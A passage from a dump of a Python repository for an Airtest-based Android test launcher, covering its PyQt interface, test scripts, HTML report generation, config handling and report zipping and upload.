\"Question\",\n\t\t\t\t\t\t\t\t\t\t\t self.tr(\"测试结束,点击查看报告\"),\n\t\t\t\t\t\t\t\t\t\t\t QtWidgets.QMessageBox.Ok | QtWidgets.QMessageBox.Cancel,\n\t\t\t\t\t\t\t\t\t\t\t QtWidgets.QMessageBox.Ok)\n\t\tif reply == QtWidgets.QMessageBox.Ok:\n\t\t\twebbrowser.open(sCombineLog, new=0, autoraise=True)\n\t\telif reply == QtWidgets.QMessageBox.Cancel:\n\t\t\tprint('点击了取消,报告路径:%s' % sCombineLog)\n\t\telse:\n\t\t\treturn\n\n\tdef Lauch(self):\n\t\tif self.m_Running:\n\t\t\tQtWidgets.QMessageBox.information(self, \"提示\", self.tr(\"正在运行中!\"))\n\t\t\treturn\n\n\t\tlDevices = self.m_DeviceListWidget.GetSelectedList()\n\t\tlScripts = self.m_ScriptListWidget.GetSelectedList()\n\t\tif not lDevices:\n\t\t\tQtWidgets.QMessageBox.warning(self, \"提示\", self.tr(\"请选择设备!\"))\n\t\t\treturn\n\t\tif not lScripts:\n\t\t\tQtWidgets.QMessageBox.warning(self, \"提示\", self.tr(\"请选择脚本!\"))\n\t\t\treturn\n\t\tsMode = self.CBMode.currentText()[-1]\n\t\tutils.SetCfgData(CFG_SCRIPTS, ','.join(lScripts))\n\t\tutils.SetCfgData(CFG_DEVICES, ','.join(lDevices))\n\t\tutils.SetCfgData(CFG_MODE, sMode)\n\t\tutils.SetCfgData(CFG_SCRIPTS_ROOT, self.m_ScriptRoot)\n\t\tutils.SetCfgData(CFG_PLATFORM, 'Android')\n\t\tself.m_Running = True\n\t\tself.m_RunThread = CRunthread()\n\t\tself.m_RunThread._signal.connect(self.ShowReport)\n\t\tself.m_RunThread.start()\n\n\tdef ConnectRemoteADB(self):\n\t\tsText = self.TextAddr.text()\n\t\tsCmd = sText.split()[-2]\n\t\tsAddr = sText.split()[-1]\n\t\tif sCmd == 'connect':\n\t\t\tADB(serialno=sAddr)\n\t\telif sCmd == 'disconnect':\n\t\t\tADB(serialno=sAddr).disconnect()\n\t\telse:\n\t\t\tQtWidgets.QMessageBox.information(self, \"提示\", self.tr(\"请输入正确指令!(connect or disconnect)\"))\n\t\tself.RefreshADB()\n\n\nclass CMyListWidget(object):\n\tdef __init__(self, oListWidget, oCheckBox):\n\t\tself.m_ListWidget = oListWidget\n\t\tself.m_CheckBox = oCheckBox\n\n\tdef Refresh(self, lData):\n\t\tself.m_ListWidget.clear()\n\t\tself.m_CheckBox.setCheckState(False)\n\t\tfor oText, bCheckable in lData:\n\t\t\tsText = '\\t'.join(oText) if isinstance(oText, tuple) else oText\n\t\t\tself.AddItem(sText, bCheckable)\n\n\tdef AddItem(self, sText, bCheckable=True):\n\t\toItem = QtWidgets.QListWidgetItem()\n\t\tif bCheckable:\n\t\t\toItem.setFlags(QtCore.Qt.ItemIsUserCheckable | QtCore.Qt.ItemIsEnabled)\n\t\t\toItem.setCheckState(QtCore.Qt.Unchecked)\n\t\telse:\n\t\t\toItem.setFlags(QtCore.Qt.ItemIsEnabled)\n\t\toItem.setText(sText)\n\t\tfont = QtGui.QFont()\n\t\tfont.setPointSize(12)\n\t\toItem.setFont(font)\n\t\tself.m_ListWidget.addItem(oItem)\n\n\tdef SetCheckState(self, iState):\n\t\tfor i in range(self.m_ListWidget.count()):\n\t\t\toItem = self.m_ListWidget.item(i)\n\t\t\toFlags = oItem.flags()\n\t\t\tif int(oFlags) & QtCore.Qt.ItemIsUserCheckable:\n\t\t\t\toItem.setCheckState(iState)\n\n\tdef SelcetAll(self):\n\t\tiState = self.m_CheckBox.checkState()\n\t\tself.SetCheckState(iState)\n\n\tdef GetSelectedList(self):\n\t\tlText = []\n\t\tfor i in range(self.m_ListWidget.count()):\n\t\t\toItem = self.m_ListWidget.item(i)\n\t\t\tiState = oItem.checkState()\n\t\t\tif iState:\n\t\t\t\tlText.append(oItem.text().split('\t')[0])\n\t\treturn lText\n\n\nclass CRunthread(QtCore.QThread):\n\t# 通过类成员对象定义信号对象\n\t_signal = QtCore.pyqtSignal(str)\n\n\tdef __init__(self):\n\t\tsuper(CRunthread, self).__init__()\n\n\tdef __del__(self):\n\t\tself.wait()\n\n\tdef run(self):\n\t\timport main\n\t\tsCombineLog = main.main()\n\t\tself._signal.emit(sCombineLog)\n\n\nif __name__ == '__main__':\n\timport multiprocessing\n\n\tmultiprocessing.freeze_support()\n\tapp = QtWidgets.QApplication(sys.argv)\n\tInitWindow()\n\tsys.exit(app.exec_())\n" }, { "alpha_fraction": 0.5840708017349243, "alphanum_fraction": 0.6039823293685913, "avg_line_length": 15.777777671813965, "blob_id": "f7bf852a6f99e304352b0c8ca6a4bdc59706c424", "content_id": "744b7a5106eaa1d338e9d794742a01b591c3a04f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 510, "license_type": "no_license", "max_line_length": 41, "num_lines": 27, "path": "/scripts/DHM_add_config.air/DHM_add_config.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- encoding=utf8 -*-\n__author__ = \"tianyabin\"\n__title__ = \"关卡-配置体力、金币\"\n__desc__ = '''\n 1、一小时体力\n 2、300W金币\n '''\nfrom airtest.core.api import *\napp_id = \"com.dreamhomematch.casual.free\"\nauto_setup(__file__)\nstop_app(app_id)\nsleep(3)\nstart_app(app_id)\nsleep(10)\n\nusing(\"DHM_common.air\")\nfrom DHM_common import *\n#进入主页\nDHM_login_local()\n\n#无限体力、金币\ngm_time()\ngm_gold()\ngm_star()\ngm_speed_up()\ninitialize_log()\nexists_main()" }, { "alpha_fraction": 0.665433406829834, "alphanum_fraction": 0.6682522892951965, "avg_line_length": 29.352941513061523, "blob_id": "9780140087711df882adfbbda151953c1e9c2007", "content_id": "54130d1171fca256d205e87f71859c1a7fcc9dac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5758, "license_type": "no_license", "max_line_length": 142, "num_lines": 187, "path": "/report.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Leo Zeng\nimport os\nimport types\nimport shutil\nimport json\nimport airtest.report.report as R\n\nfrom airtest.utils.compat import decode_path\nfrom constant import BASEPATH\n\nTXT_FILE = \"log.txt\"\nHTML_FILE = \"log.html\"\nHTML_TPL = \"log_template.html\"\nMY_STATIC_DIR = 'report_static'\nSTATIC_DIR = os.path.dirname(R.__file__)\n\n\ndef get_script_info(script_path):\n\tscript_name = os.path.basename(script_path)\n\tresult_json = {\"name\": script_name, \"author\": 'Colin@chihai', \"title\": script_name, \"desc\": None}\n\treturn json.dumps(result_json)\n\n\ndef _make_export_dir(self):\n\tdirpath = BASEPATH\n\tlogpath = self.script_root\n\t# copy static files\n\tfor subdir in [\"css\", \"fonts\", \"image\", \"js\"]:\n\t\tdist = os.path.join(dirpath, MY_STATIC_DIR, subdir)\n\t\tif os.path.exists(dist) and os.path.isdir(dist):\n\t\t\tcontinue\n\t\tshutil.rmtree(dist, ignore_errors=True)\n\t\tself.copy_tree(os.path.join(STATIC_DIR, subdir), dist)\n\n\treturn dirpath, logpath\n\n\ndef render(template_name, output_file=None, **template_vars):\n\timport io\n\timport jinja2\n\t\"\"\" 用jinja2渲染html\"\"\"\n\tenv = jinja2.Environment(\n\t\tloader=jinja2.FileSystemLoader(BASEPATH),\n\t\textensions=(),\n\t\tautoescape=True\n\t)\n\ttemplate = env.get_template(template_name)\n\thtml = template.render(**template_vars)\n\n\tif output_file:\n\t\twith io.open(output_file, 'w', encoding=\"utf-8\") as f:\n\t\t\tf.write(html)\n\t\tprint(output_file)\n\n\treturn html\n\n\ndef _translate_screen(self, step, code):\n\timport six\n\tif step['tag'] != \"function\":\n\t\treturn None\n\tscreen = {\n\t\t\"src\": None,\n\t\t\"rect\": [],\n\t\t\"pos\": [],\n\t\t\"vector\": [],\n\t\t\"confidence\": None,\n\t}\n\n\tfor item in step[\"__children__\"]:\n\t\tif item[\"data\"][\"name\"] == \"try_log_screen\" and isinstance(item[\"data\"].get(\"ret\", None), six.text_type):\n\t\t\tsrc = item[\"data\"]['ret']\n\t\t\tif self.export_dir: # all relative path\n\t\t\t\tscreen['_filepath'] = src\n\t\t\telse:\n\t\t\t\tscreen['_filepath'] = src\n\t\t\tscreen['src'] = screen['_filepath']\n\t\t\tbreak\n\t\telif item[\"data\"][\"name\"] == \"_gen_screen_log\" and isinstance(item[\"data\"][\"ret\"].get(\"screen\", None), six.text_type):#兼容web自动化图片显示 JSON格式不同\n\t\t\tsrc = item[\"data\"]['ret']['screen']\n\t\t\tif self.export_dir: # all relative path\n\t\t\t\tscreen['_filepath'] = src\n\t\t\telse:\n\t\t\t\tscreen['_filepath'] = src\n\t\t\tscreen['src'] = screen['_filepath']\n\t\t\tbreak\n\n\tdisplay_pos = None\n\n\tfor item in step[\"__children__\"]:\n\t\tif item[\"data\"][\"name\"] == \"_cv_match\" and isinstance(item[\"data\"].get(\"ret\"), dict):\n\t\t\tcv_result = item[\"data\"][\"ret\"]\n\t\t\tpos = cv_result['result']\n\t\t\tif self.is_pos(pos):\n\t\t\t\tdisplay_pos = [round(pos[0]), round(pos[1])]\n\t\t\trect = self.div_rect(cv_result['rectangle'])\n\t\t\tscreen['rect'].append(rect)\n\t\t\tscreen['confidence'] = cv_result['confidence']\n\t\t\tbreak\n\n\tif step[\"data\"][\"name\"] in [\"touch\", \"assert_exists\", \"wait\", \"exists\"]:\n\t\t# 将图像匹配得到的pos修正为最终pos\n\t\tif self.is_pos(step[\"data\"].get(\"ret\")):\n\t\t\tdisplay_pos = step[\"data\"][\"ret\"]\n\t\telif self.is_pos(step[\"data\"][\"call_args\"].get(\"v\")):\n\t\t\tdisplay_pos = step[\"data\"][\"call_args\"][\"v\"]\n\n\telif step[\"data\"][\"name\"] == \"swipe\":\n\t\tif \"ret\" in step[\"data\"]:\n\t\t\tscreen[\"pos\"].append(step[\"data\"][\"ret\"][0])\n\t\t\ttarget_pos = step[\"data\"][\"ret\"][1]\n\t\t\torigin_pos = step[\"data\"][\"ret\"][0]\n\t\t\tscreen[\"vector\"].append([target_pos[0] - origin_pos[0], target_pos[1] - origin_pos[1]])\n\n\tif display_pos:\n\t\tscreen[\"pos\"].append(display_pos)\n\treturn screen\n\n\ndef report(self, template_name, output_file=None, record_list=None):\n\t\"\"\"替换LogToHtml中的report方法\"\"\"\n\tself._load()\n\tsteps = self._analyse()\n\t# 修改info获取方式\n\tinfo = json.loads(get_script_info(self.script_root))\n\tif self.export_dir:\n\t\t_, self.log_root = self._make_export_dir()\n\t# output_file = os.path.join(self.script_root, HTML_FILE)\n\t# self.static_root = \"static/\"\n\tif not record_list:\n\t\trecord_list = [f for f in os.listdir(self.log_root) if f.endswith(\".mp4\")]\n\trecords = [f if self.export_dir else os.path.basename(f) for f in record_list]\n\n\tif not self.static_root.endswith(os.path.sep):\n\t\tself.static_root = self.static_root.replace(\"\\\\\", \"/\")\n\t\tself.static_root += \"/\"\n\tdata = {}\n\tdata['steps'] = steps\n\tdata['name'] = os.path.basename(self.script_root)\n\tdata['scale'] = self.scale\n\tdata['test_result'] = self.test_result\n\tdata['run_end'] = self.run_end\n\tdata['run_start'] = self.run_start\n\tdata['static_root'] = self.static_root\n\tdata['lang'] = self.lang\n\tdata['records'] = records\n\tdata['info'] = info\n\treturn render(template_name, output_file, **data)\n\n\ndef get_result(self):\n\treturn self.test_result\n\n\ndef main(args):\n\t# script filepath\n\tpath = decode_path(args.script)\n\trecord_list = args.record or []\n\tlog_root = decode_path(args.log_root) or path\n\tstatic_root = args.static_root or STATIC_DIR\n\tstatic_root = decode_path(static_root)\n\texport = args.export\n\tlang = args.lang if args.lang in ['zh', 'en'] else 'zh'\n\tplugins = args.plugins\n\t# gen html report\n\trpt = R.LogToHtml(path, log_root, static_root, export_dir=export, lang=lang, plugins=plugins)\n\t# override methods\n\trpt._make_export_dir = types.MethodType(_make_export_dir, rpt)\n\trpt.report = types.MethodType(report, rpt)\n\trpt.get_result = types.MethodType(get_result, rpt)\n\trpt._translate_screen = types.MethodType(_translate_screen, rpt)\n\trpt.report(HTML_TPL, output_file=args.outfile, record_list=record_list)\n\treturn rpt.get_result()\n\n\ndef ReportHtml(subdir):\n\timport argparse\n\toArgs = argparse.Namespace(script=None, device=None, outfile=None, static_root='../../../%s' % MY_STATIC_DIR,\n\t\t\t\t\t\t\t log_root=None, record=None, export=True, lang=None, plugins=None)\n\toArgs.script = subdir\n\toArgs.outfile = os.path.join(subdir, HTML_FILE)\n\tplugins = ['poco.utils.airtest.report','airtest_selenium.report']\n\toArgs.plugins = plugins\n\tresult = main(oArgs)\n\tsRet = 'PASS' if result else 'FAIL'\n\treturn sRet\n" }, { "alpha_fraction": 0.45424291491508484, "alphanum_fraction": 0.6921796798706055, "avg_line_length": 15.69444465637207, "blob_id": "9b8d3a9e431618863df3f8dd036165003b2b8b20", "content_id": "0d689ec756218b741f8d3362689d48cb05cdb438", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 601, "license_type": "no_license", "max_line_length": 31, "num_lines": 36, "path": "/requirements.txt", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "airtest==1.0.27\naltgraph==0.16.1\ncertifi==2019.6.16\nchardet==3.0.4\nClick==7.0\ncomtypes==1.1.7\nconfigparser==3.8.1\ndecorator==4.4.0\nfacebook-wda==0.3.6\nfunc-timeout==4.3.5\nfuture==0.17.1\nhrpc==1.0.8\nidna==2.8\nJinja2==2.10.1\nMarkupSafe==1.1.1\nmss==4.0.3\nnumpy==1.15.1\nopencv-contrib-python==3.4.2.17\npefile==2019.4.18\nPillow==6.1.0\npocoui==1.0.76\npy==1.8.0\nPyInstaller==3.5\npypiwin32==223\nPyQt5==5.13.0\nPyQt5-sip==4.19.18\npyqt5-tools==5.13.0.1.5\npython-dotenv==0.10.3\npywin32==224\npywin32-ctypes==0.2.0\npywinauto==0.6.3\nrequests==2.22.0\nretry==0.9.2\nsix==1.12.0\nurllib3==1.25.3\nwebsocket-client==0.56.0\n" }, { "alpha_fraction": 0.7400000095367432, "alphanum_fraction": 0.75, "avg_line_length": 15.833333015441895, "blob_id": "76597091be6c44249811cf543df324d766bd4c21", "content_id": "ed4de37f917620828703c0a3e138de4e90a61abd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 100, "license_type": "no_license", "max_line_length": 24, "num_lines": 6, "path": "/config.ini", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "[baseconf]\nscripts_root = scripts\nscripts = web_delete.air\ndevices = all\nmode = 1\nplatform = Android" }, { "alpha_fraction": 0.6396981477737427, "alphanum_fraction": 0.6760267019271851, "avg_line_length": 46.483333587646484, "blob_id": "4789bc4c844dce0bd81d7579c6cff47eeedc0d61", "content_id": "f5a2a351fa3f655f48bb4f34ada00c03d0bbcbef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5776, "license_type": "no_license", "max_line_length": 85, "num_lines": 120, "path": "/mywindow.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'mywindow.ui'\n#\n# Created by: PyQt5 UI code generator 5.13.0\n#\n# WARNING! All changes made in this file will be lost!\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(793, 600)\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.groupBox = QtWidgets.QGroupBox(self.centralwidget)\n self.groupBox.setGeometry(QtCore.QRect(20, 40, 351, 281))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.groupBox.setFont(font)\n self.groupBox.setObjectName(\"groupBox\")\n self.listWidget = QtWidgets.QListWidget(self.groupBox)\n self.listWidget.setGeometry(QtCore.QRect(20, 60, 321, 211))\n self.listWidget.setObjectName(\"listWidget\")\n self.checkBox = QtWidgets.QCheckBox(self.groupBox)\n self.checkBox.setGeometry(QtCore.QRect(20, 30, 71, 16))\n self.checkBox.setObjectName(\"checkBox\")\n self.RefreshBtn = QtWidgets.QPushButton(self.groupBox)\n self.RefreshBtn.setGeometry(QtCore.QRect(260, 30, 75, 23))\n font = QtGui.QFont()\n font.setPointSize(13)\n self.RefreshBtn.setFont(font)\n self.RefreshBtn.setObjectName(\"RefreshBtn\")\n self.widget = QtWidgets.QWidget(self.centralwidget)\n self.widget.setGeometry(QtCore.QRect(360, 360, 120, 80))\n self.widget.setObjectName(\"widget\")\n self.groupBox_2 = QtWidgets.QGroupBox(self.centralwidget)\n self.groupBox_2.setGeometry(QtCore.QRect(400, 40, 351, 281))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setObjectName(\"groupBox_2\")\n self.LWScripts = QtWidgets.QListWidget(self.groupBox_2)\n self.LWScripts.setGeometry(QtCore.QRect(10, 60, 321, 211))\n self.LWScripts.setObjectName(\"LWScripts\")\n self.CBScripts = QtWidgets.QCheckBox(self.groupBox_2)\n self.CBScripts.setGeometry(QtCore.QRect(20, 30, 71, 16))\n self.CBScripts.setObjectName(\"CBScripts\")\n self.LScriptsRoot = QtWidgets.QLabel(self.groupBox_2)\n self.LScriptsRoot.setGeometry(QtCore.QRect(90, 30, 251, 21))\n font = QtGui.QFont()\n font.setPointSize(9)\n self.LScriptsRoot.setFont(font)\n self.LScriptsRoot.setText(\"\")\n self.LScriptsRoot.setObjectName(\"LScriptsRoot\")\n self.BtnSelectScripts = QtWidgets.QPushButton(self.groupBox_2)\n self.BtnSelectScripts.setGeometry(QtCore.QRect(210, 0, 121, 23))\n font = QtGui.QFont()\n font.setPointSize(13)\n self.BtnSelectScripts.setFont(font)\n self.BtnSelectScripts.setObjectName(\"BtnSelectScripts\")\n self.BtnLaunch = QtWidgets.QPushButton(self.centralwidget)\n self.BtnLaunch.setGeometry(QtCore.QRect(480, 400, 261, 121))\n font = QtGui.QFont()\n font.setPointSize(20)\n self.BtnLaunch.setFont(font)\n self.BtnLaunch.setObjectName(\"BtnLaunch\")\n self.CBMode = QtWidgets.QComboBox(self.centralwidget)\n self.CBMode.setGeometry(QtCore.QRect(50, 460, 91, 21))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.CBMode.setFont(font)\n self.CBMode.setObjectName(\"CBMode\")\n self.CBMode.addItem(\"\")\n self.CBMode.addItem(\"\")\n self.label = QtWidgets.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(40, 340, 151, 16))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.label.setFont(font)\n self.label.setObjectName(\"label\")\n self.BtnConnect = QtWidgets.QPushButton(self.centralwidget)\n self.BtnConnect.setGeometry(QtCore.QRect(240, 340, 41, 23))\n self.BtnConnect.setObjectName(\"BtnConnect\")\n self.TextAddr = QtWidgets.QLineEdit(self.centralwidget)\n self.TextAddr.setGeometry(QtCore.QRect(40, 370, 281, 31))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.TextAddr.setFont(font)\n self.TextAddr.setObjectName(\"TextAddr\")\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 793, 23))\n self.menubar.setObjectName(\"menubar\")\n MainWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"你曾哥的启动器\"))\n self.groupBox.setTitle(_translate(\"MainWindow\", \"List of devices attached\"))\n self.checkBox.setText(_translate(\"MainWindow\", \"全选\"))\n self.RefreshBtn.setText(_translate(\"MainWindow\", \"刷新adb\"))\n self.groupBox_2.setTitle(_translate(\"MainWindow\", \"请选择脚本:\"))\n self.CBScripts.setText(_translate(\"MainWindow\", \"全选\"))\n self.BtnSelectScripts.setText(_translate(\"MainWindow\", \"选取脚本路径\"))\n self.BtnLaunch.setText(_translate(\"MainWindow\", \"启动\"))\n self.CBMode.setItemText(0, _translate(\"MainWindow\", \"模式1\"))\n self.CBMode.setItemText(1, _translate(\"MainWindow\", \"模式2\"))\n self.label.setText(_translate(\"MainWindow\", \"远程设备连接\"))\n self.BtnConnect.setText(_translate(\"MainWindow\", \"连接\"))\n self.TextAddr.setText(_translate(\"MainWindow\", \"adb connect 127.0.0.1:7555\"))\n" }, { "alpha_fraction": 0.7014925479888916, "alphanum_fraction": 0.7031509280204773, "avg_line_length": 21.33333396911621, "blob_id": "2c45c4808ddab47ff7e07e8800aa85a4f3000d27", "content_id": "5f4d5e9add62ef043cf235caef415da0a83090dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 647, "license_type": "no_license", "max_line_length": 74, "num_lines": 27, "path": "/main.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Leo Zeng\nimport os\nimport utils\n\n\ndef Run(lAirScripts, lDevices, sPatchTag=None):\n\timport runner\n\n\trunner.Init()\n\treturn runner.CreatePools(lAirScripts, lDevices, sPatchTag)\n\n\ndef main():\n\tsPath = utils.GetCfgData('scripts_root') or os.path.abspath('scripts')\n\tlScripts = utils.GetCfgData('scripts').split(',')\n\tlAirScripts = [os.path.join(sPath, sAir) for sAir in lScripts] or [sPath]\n\tlDevices = utils.GetDeviceNum()\n\tif not lDevices:\n\t\tsError = u'无设备,请查看设备是否连接,设备权限是否开启'\n\t\tutils.Logging(sError)\n\t\treturn\n\treturn Run(lAirScripts, lDevices)\n\n\nif __name__ == '__main__':\n\tmain()\n" }, { "alpha_fraction": 0.6627172231674194, "alphanum_fraction": 0.6895734667778015, "avg_line_length": 22.44444465637207, "blob_id": "e0db412139068fc70338d224699e18025ec2bf83", "content_id": "82c2f588625aa9f98d05c4ab2b03f8a55d97c8d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1374, "license_type": "no_license", "max_line_length": 64, "num_lines": 54, "path": "/file_lock.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Leo Zeng\n'''\n这部分代码多来自网上,linux部分未验证\n'''\nimport os\nimport random\nimport utils\n\n\nclass CFileLock(object):\n\n\tdef __init__(self, filename):\n\t\tself.filename = filename\n\n\[email protected](iTimes=3, iSec=random.randint(1, 5))\n\tdef Write(self, msg):\n\t\t\"\"\"进程比较多的情况下数据容易出现问题,目前还没想到较好的办法\"\"\"\n\t\tself.handle = open(self.filename, 'a+')\n\t\tself.acquire()\n\t\tself.handle.write(msg + \"\\n\")\n\t\tself.release()\n\t\tself.handle.close()\n\n\tdef acquire(self):\n\t\t# 给文件上锁\n\t\tif os.name == 'nt':\n\t\t\timport win32con\n\t\t\timport win32file\n\t\t\timport pywintypes\n\t\t\tLOCK_EX = win32con.LOCKFILE_EXCLUSIVE_LOCK\n\t\t\toverlapped = pywintypes.OVERLAPPED()\n\t\t\thfile = win32file._get_osfhandle(self.handle.fileno())\n\t\t\twin32file.LockFileEx(hfile, LOCK_EX, 0, -0x10000, overlapped)\n\t\telif os.name == 'posix':\n\t\t\timport fcntl\n\t\t\tLOCK_EX = fcntl.LOCK_EX\n\t\t\tfcntl.flock(self.handle, LOCK_EX)\n\n\tdef release(self):\n\t\t# 文件解锁\n\t\tif os.name == 'nt':\n\t\t\timport win32file\n\t\t\timport pywintypes\n\t\t\toverlapped = pywintypes.OVERLAPPED()\n\t\t\thfile = win32file._get_osfhandle(self.handle.fileno())\n\t\t\twin32file.UnlockFileEx(hfile, 0, -0x10000, overlapped)\n\t\telif os.name == 'posix':\n\t\t\timport fcntl\n\t\t\tfcntl.flock(self.handle, fcntl.LOCK_UN)\n\n\ndef WriteLogfile(sLogFile, sMsg):\n\tCFileLock(sLogFile).Write(sMsg)\n" }, { "alpha_fraction": 0.6871639490127563, "alphanum_fraction": 0.6972446441650391, "avg_line_length": 20.410072326660156, "blob_id": "765b45bbe4e91beac87bd6c2caf76634b8d8a13e", "content_id": "786c964b3e05b2a35781e4dd13daba3c5b5c32ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3122, "license_type": "no_license", "max_line_length": 73, "num_lines": 139, "path": "/utils.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Leo Zeng\nimport os\nimport time\nimport logging\nimport zipfile\nimport traceback\nimport requests\nimport configparser\n\nfrom airtest.core.android.adb import ADB\nfrom functools import wraps\n\nCFG_FILE = 'config.ini'\n\ndef GetCfgData(sKey):\n\tconfig = configparser.ConfigParser()\n\tconfig.read(CFG_FILE)\n\tif sKey in config.options('baseconf'):\n\t\tsValue = config.get('baseconf', sKey)\n\t\treturn sValue\n\telse:\n\t\treturn ''\n\ndef SetCfgData(sKey,sValue):\n\tconfig = configparser.ConfigParser()\n\tconfig.read(CFG_FILE)\n\tconfig.set('baseconf', sKey, sValue)\n\tconfig.write(open(CFG_FILE, \"w\"))\n\n\ndef CreateCfgFile():\n\tif not os.path.exists(CFG_FILE):\n\t\tfile = open(CFG_FILE, 'w')\n\t\tfile.write('[baseconf]\\n')\n\t\tfile.close()\n\n\nCreateCfgFile()\n\n\ndef GetValidDevices():\n\t\"\"\"获取本地连接的设备号列表\"\"\"\n\tlData = ADB().devices('device')\n\tlPositiveDevices = [item[0] for item in lData]\n\treturn lPositiveDevices\n\n\ndef GetDeviceNum():\n\tsDevices = GetCfgData('devices')\n\tlDevice = GetValidDevices()\n\tif not sDevices and lDevice:\n\t\treturn [lDevice[0]]\n\telif 'all' in sDevices:\n\t\treturn lDevice\n\telse:\n\t\treturn sDevices.split(',')\n\n\ndef ZipFile(sExportPath):\n\t\"\"\"压缩报告\"\"\"\n\t# sPatchTag = os.path.basename(sExportPath)\n\tsZipFile = sExportPath + '.zip' # 压缩后文件夹的名字\n\tz = zipfile.ZipFile(sZipFile, 'w', zipfile.ZIP_DEFLATED) # 参数一:文件夹名\n\tfor dirpath, dirnames, filenames in os.walk(sExportPath):\n\t\tfpath = dirpath.replace(sExportPath, '') # 这一句很重要,不replace的话,就从根目录开始复制\n\t\tfpath = fpath and fpath + os.sep or ''\n\t\tfor filename in filenames:\n\t\t\tz.write(os.path.join(dirpath, filename), fpath + filename)\n\tz.close()\n\treturn sZipFile\n\n\ndef PostZipFile(sZipFile):\n\tsPostUrl = '' # 上传路径\n\tsName = os.path.basename(sZipFile)\n\tfile = {sName: open(sZipFile, 'rb')}\n\theaders = {\n\t\t'Connection': 'keep-alive',\n\t\t'Host': '\\\\192.168.0.6\\share:8080',#\\\\192.168.0.6\\share\\autotest\n\t\t'Upgrade-Insecure-Requests': '1',\n\t}\n\tr = requests.post(sPostUrl, files=file, headers=headers)\n\tif r.status_code == 200:\n\t\tLogging('报告上传成功')\n\telse:\n\t\tLogging('报告上传失败')\n\t\tLogging('状态码:%s' % r.status_code)\n\t\tLogging(r.content)\n\n\ndef UnzipFile(sZipFile):\n\tsDir, sZipFileName = os.path.split(sZipFile)\n\tz = zipfile.ZipFile(sZipFile, 'r')\n\tsPath = os.path.join(sDir, sZipFileName.replace('.zip', ''))\n\tif not os.path.exists(sPath):\n\t\tos.mkdir(sPath)\n\tz.extractall(path=sPath)\n\tz.close()\n\n\ndef PostReport2TestWeb(sExportPath):\n\tsZipFile = ZipFile(sExportPath)\n\tPostZipFile(sZipFile)\n\tos.remove(sZipFile)\n\n\ndef Logging(sMsg):\n\tlogging.error(sMsg)\n\tprint(sMsg)\n\n\ndef CatchErr(func):\n\t@wraps(func)\n\tdef MyWrapper(*args,**kwargs):\n\t\ttry:\n\t\t\treturn func(*args,**kwargs)\n\t\texcept Exception as e:\n\t\t\ttraceback.print_exc()\n\t\t\tLogging(e)\n\n\treturn MyWrapper\n\n\ndef RetryFunc(iTimes=3, iSec=2):\n\tdef CatchErr(func):\n\t\t@wraps(func)\n\t\tdef MyWrapper(*args, **kwargs):\n\t\t\tfor _ in range(iTimes):\n\t\t\t\ttry:\n\t\t\t\t\treturn func(*args, **kwargs)\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tLogging(e)\n\t\t\t\t\ttime.sleep(iSec)\n\t\t\t\t\tcontinue\n\n\t\treturn MyWrapper\n\n\treturn CatchErr\n" } ]
18
YashMathur/ASCIInator
https://github.com/YashMathur/ASCIInator
31ac4346a7cdedd5aae5830353b9fc576b6e9e7e
181fb2f1c4465d823416b3e4454acdd74e5e103f
b0c7686dd489fb6fb76c16770a62de352a3cc29f
refs/heads/master
2021-01-12T11:54:07.519796
2017-06-29T17:21:13
2017-06-29T17:21:13
69,516,960
8
2
null
null
null
null
null
